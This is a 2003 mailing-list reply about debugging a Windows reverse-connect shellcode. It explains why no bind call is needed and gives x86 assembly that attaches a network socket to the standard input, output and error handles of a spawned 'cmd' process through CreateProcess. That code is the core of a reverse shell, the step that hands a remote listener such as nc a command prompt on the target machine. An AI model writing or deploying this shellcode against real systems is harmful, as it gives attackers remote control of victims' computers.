Re: Windows reverse Shell

If I remember correctly, that shellcode dont have "bind" function. A reverse connect shellcode dont need "bind". WSASocket() will return a non-overlapping socket, so it can be used as in/out/err handler in CreateProcess(), there is really nothing extra you need to do. Since you got a connection in your nc, the problem should be in your CreateProcess(). Try to check if your StartupInfo flags has STARTF_USESTDHANDLES.

I dont have C code for this, but in asm, it could be something like this:

;ebx = socket

xor         ecx,ecx
mov         cl,11h
push        edi
mov         edi,ebp
rep stos    dword ptr [edi] ;zero up startupinfo
pop         edi
mov         byte ptr [ebp],44h     ;STARTUPINFO size
mov         dword ptr [ebp+3Ch],ebx     ;output handler
mov         dword ptr [ebp+38h],ebx     ;input handler
mov         dword ptr [ebp+40h],ebx     ;error handler
mov         word ptr [ebp+2Ch],0101h
;STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW
lea         eax,[ebp+44h]
push        eax
push        ebp
push        ecx
push        ecx
push        ecx
inc         ecx
push        ecx
dec         ecx
push        ecx
push        ecx
push        esi  ;"cmd",0
push        ecx
call        dword ptr [edi-28] ;CreateProcess

sk
----- Original Message -----
From: "NetNinja" <netninja@hotmail.kg>
To: <vuln-dev@securityfocus.com>
Sent: Tuesday, February 04, 2003 3:37 AM Subject: Windows reverse Shell

> Hello guys,
Received on Tue Feb 4 12:49:40 2003